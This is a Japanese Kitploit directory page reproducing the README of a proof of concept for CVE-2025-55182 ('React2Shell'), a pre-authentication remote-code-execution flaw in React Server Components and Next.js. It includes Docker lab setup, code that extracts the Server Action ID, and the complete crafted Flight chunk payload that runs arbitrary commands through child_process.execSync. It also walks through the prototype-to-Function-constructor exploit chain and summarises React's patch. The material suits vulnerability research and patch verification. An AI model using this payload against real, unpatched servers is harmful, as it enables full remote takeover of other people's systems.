Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-55182-poc — CVE-2025-55182 (React2Shell) の概念実証: React Server Components / Next.js における Flight プロトコルのデシリアライゼーションを介した認証不要のRCE。 | Kitploit
ツール/GitHubGitHub/monarchfish/cve-2025-55182-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

CVE-2025-55182 (React2Shell) の概念実証: React Server Components / Next.js における Flight プロトコルのデシリアライゼーションを介した認証不要のRCE。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

基本情報

CVE-2025-55182 は、2025 年に最も広範囲に影響を与えた Web フレームワークの脆弱性の 1 つです。React Server Components(RSC)は現代の Next.js アプリケーションの主流アーキテクチャとなっており、create-next-app で作成された多数の標準プロジェクトが影響範囲内にあり、カスタムコードは一切不要で悪用可能です。

項目内容
CVE 番号CVE-2025-55182
別名React2Shell
脆弱性の種類認証不要のリモートコード実行(Unauthenticated RCE);CWE-502 信頼できないデータの逆シリアル化(Deserialization of Untrusted Data)[3]
CVSS スコア10.0(Critical)(CVSS 3.1、Facebook/CNA [2])
影響を受けるパッケージreact-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack
影響を受けるバージョンReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 以上、15.x、16.x
攻撃の複雑さ極めて低い(単一の HTTP POST リクエスト)
認証の要否不要

POC 構築手順

1. 公式コマンドで App を作成

脆弱性を含むバージョン(16.0.6)を使用して Next アプリを作成:

root@kitploit:~
pnpm create [email protected] next-app --yes

2. テスト用の Server Action を作成

  1. next-app/app/ の下に actions.ts を追加し、Server Action としてマークします:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. ホームページ(例:app/page.tsx)にフォームを追加し、action を上記の testAction に設定し、少なくとも 1 つのフィールド(例:hidden input)を含めます。

    Next.js はこのフォーム用に HTML 内で name="$ACTION_ID_<40 文字 hex>" の hidden input を生成します。POC はホームページの HTML から正規表現でこの ID を抽出します。

3. 安全なコンテナ化 POC 環境を作成

プロジェクト内の next-app/Dockerfile と docker-compose.yml を使用して Next アプリをビルドおよび実行できます。作成方法は公式サンプル [8] を参照してください。

プロジェクトのルートディレクトリで実行:

root@kitploit:~
docker compose up --build -d

http://localhost:3000 で起動した Next アプリにアクセスできます。

POC 終了後、Docker 環境を完全に削除します:

root@kitploit:~
docker compose down -v

脆弱性の悪用手順

ステップ 1:ACTION_ID を取得

POC を実行すると、スクリプトがホームページを fetch し、正規表現 \$ACTION_ID_([a-f0-9]{40})/ で ID を抽出します。例:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

ステップ 2:エクスプロイトを実行

プロジェクトのルートディレクトリで依存関係をインストールしてから実行:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

主要なコード断片は次のとおりです:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

以下は、ターゲットホストにファイルを書き込む例です:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

ステップ 3:結果を確認

  • RCE が成功すると、サーバーはコマンド実行後に停止またはタイムアウトする可能性があります。この場合、リクエストがタイムアウトするのは想定どおりの動作です。
  • ターゲットホスト上でコマンドが実行されたかどうかを確認してください(例:ファイルやプロセスを確認)。
  • docker compose exec を使用してコンテナ内に入って確認するか、Docker Desktop 経由で操作できます。

原理の説明

脆弱性の位置

脆弱性は React の Flight プロトコル逆シリアル化メカニズム(RSC Flight Deserializer)にあります。このメカニズムはサーバーとクライアント間で React コンポーネントの状態を転送する役割を担っていますが、処理フローには深刻な信頼境界の問題があります。

React Flight プロトコルは、React が Server Components と Server Actions のために設計したワイヤーフォーマットです。コンポーネントツリーや関数の引数などを JSON で表現された chunk ストリーム にシリアル化し、$数字、$数字:キー名 によって chunk 間に参照を確立し、サーバーが完全な JavaScript の値を復元できるようにします。

エクスプロイトチェーン(Exploit Chain)

root@kitploit:~
攻撃者が悪意のある HTTP POST を送信
        ↓
[ステージ 1] 自己参照ループオブジェクトを作成(Self-referential loop)
        ↓
[ステージ 2] JavaScript エンジンを欺いて攻撃者が制御する関数を呼び出させる
        ↓
[ステージ 3] 悪意のあるデータを注入して Flight の初期化フローをトリガー
        ↓
[ステージ 4] Blob Handler 経由で Function コンストラクタを呼び出す
        ↓
任意の JavaScript がサーバー側で実行される(RCE)

React Server と転送形式

React の Server Functions(Next.js では Server Actions)は、フロントエンドからバックエンドへ送信するデータを React Flight プロトコル で「ひと塊ずつ」の chunk にシリアル化し、フォームデータ(form data)として送信します。

この設計の利点は次のとおりです:

  • ストリーミング転送:chunk を順次生成・解析できるため、ペイロード全体の準備が整うのを待つ必要がなく、レイテンシとメモリ制御に有利です。
  • 重複排除と共有:同じデータは一度だけシリアル化され、複数の場所から参照で指すため、重複と転送量を削減できます。
  • フォーム POST との互換性:chunk は multipart フィールドで送信されるため、独自のバイナリプロトコルが不要で、既存の CDN、プロキシ、デバッグにも有利です。
  • 複雑な構造の表現:ネストされたオブジェクトや参照で表現されるグラフ構造をサポートし、RPC に必要な豊富な型を満たします。

chunk は相互に参照できます。例:

  • chunk 0:["$1"](chunk 1 を参照)
  • chunk 1:{"object":"fruit","name":"$2:fruitName"}(chunk 2 の fruitName を参照)
  • chunk 2:{"fruitName":"cherry"}

サーバーが解釈すると、{ object: 'fruit', name: 'cherry' } が得られます。つまり、このプロトコルは $数字:キー名 で他の chunk のプロパティを指し、最終的な JavaScript オブジェクトに組み立てることができます。

脆弱性の原因

修正前の実装はこれらの参照を解析する際、「そのキーが本当にそのオブジェクト自身に存在するか」を厳密にチェックしていませんでした。そのため攻撃者は、参照を通じて オブジェクトのプロトタイプ(prototype) 上のプロパティを読み取ることができました。

たとえば、次のような payload を構築できます:

  • chunk 0:["$1:__proto__:constructor:constructor"]
  • chunk 1:{"x":1}

サーバーが「chunk 1 の __proto__ → constructor → constructor」を解析すると、Function コンストラクタ([Function: Function])、つまり「文字列から関数を生成する」組み込みコンストラクタを取得します。すなわち:不正な参照チェーンを通じてサーバー側で Function を取得し、文字列をコードとして実行できるようになります。

thenable と await

Next.js はフォームを受信すると、decodeReplyFromBusboy で chunk を 1 つの値に復元し、その値に対して await を実行します。

JavaScript では、オブジェクトが .then メソッドを持つ場合、それは thenable と見なされます。await するとこの .then が呼び出されます。そのため、「デコード結果」の .then を攻撃者が制御する関数(例:前述の Function コンストラクタ)に向けさせることができれば、await の時点でそのロジックが実行されます。攻撃の次のステップは、「デコード後に thenable と同様になる」オブジェクトを構築し、その .then を意図した呼び出しポイント(call gadget)に向けることです。

「偽の chunk」から RCE へ

  1. $@0 で「元の chunk」を参照
    プロトコルにおいて $@数字 は「N 番目の chunk の元の内容を取得し、それ以上解析しない」ことを意味します。そのため chunk 1 を "$@0" にすることで、解析プロセスが「chunk 0 自身」の元の表現を読み取るようにできます。

  2. chunk 0 の .then を Chunk の prototype に向ける
    chunk 0 が {"then": "$1:__proto__:then", ...} のようなオブジェクトで、chunk 1 が "$@0" の場合、解析時に chunk 0 の .then が Chunk.prototype.then に設定されます(Flight プロトコルでは Chunk 自体が thenable です)。これにより、Next.js がデコード結果を await すると、Chunk の .then ロジックに入ります。

  3. initializeModelChunk をトリガー
    Chunk.prototype.then 内では、この「偽の chunk」の status が "resolved_model" の場合、initializeModelChunk に入ります。ここでは chunk の を JSON として解析し、解析されたオブジェクトに対して「復活」(revive)の処理を 1 回実行します。この処理ではさまざまな特殊プレフィックス(例: で始まる blob 参照)が処理されます。

修正方法(概要)

React は PR #35277 [9](commit e2fd5dc [10])でこの脆弱性を修正しました。要点は次の 2 つです:

  1. prototype チェーンを辿らないプロパティ解析
    requireModule などで chunk 参照を解析するロジックでは、まず hasOwnProperty で「そのキーが本当にそのオブジェクト自身に存在するか」を確認するように変更されました。存在しない場合は undefined を返し、__proto__ から constructor などの公開されるべきでないプロパティを取得しません。この修正は複数の Flight 関連モジュール(例:ReactFlightClientConfigBundlerNode、ReactFlightClientConfigBundlerWebpack、および Parcel / Turbopack の対応設定)に適用され、「参照を通じて Function コンストラクタを取得 → thenable を構築 → get gadget をトリガーして任意のコードを実行する」というエクスプロイトチェーンを遮断します。

  2. decodeReplyFromBusboy のエラーハンドリング
    form data(resolveField、resolveFileComplete など)の解析時に try/catch を追加し、解析でエラーが発生した場合は即座に busboyStream.destroy(error) を呼び出します。これによりエラーが正しく伝播され、ストリームが不整合な状態になるのを防ぎ、解析異常時の攻撃可能な範囲を減らします。


参考リンク

  1. NVD — CVE-2025-55182
  2. CVSS 3.1 計算(Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. React 公式発表 — Critical security vulnerability in React Server Components
  5. Facebook セキュリティアドバイザリ — CVE-2025-55182
  6. CISA 既知の悪用済み脆弱性カタログ
  7. Next.js セキュリティアドバイザリ — RCE in React Server Components
  8. Next.js with-docker サンプル Dockerfile
  9. React PR #35277 — Patch FlightReplyServer with fixes from ReactFlightClient
  10. React PR #35277 の具体的な変更(commit e2fd5dc)
  11. POC 参考
ツールをダウンロード
value
$B
  • 呼び出しポイント:_response._formData.get(_prefix + id)
    $B プレフィックスを処理するとき、プログラムは次を実行します:
    response._formData.get(response._prefix + ある id)。
    偽の chunk 内で _response を通じて _formData と _prefix を制御し、_formData.get を Function コンストラクタ に向け、_prefix を実行したいコード文字列に設定すると、その行は次のようになります:
    Function("私たちが書いたコード" + "0")
    つまり「文字列から関数を生成する」ことです。この関数はその chunk の .then の戻り値となり、同じ promise チェーン内で await されて呼び出され、サーバー上で私たちのコードが実行されます。

  • 実際の RCE
    「私たちが書いたコード」を、たとえば次のように変更します:
    process.mainModule.require('child_process').execSync('実行するシステムコマンド');
    これにより、サーバー上で リモートコード実行(RCE) が達成できます。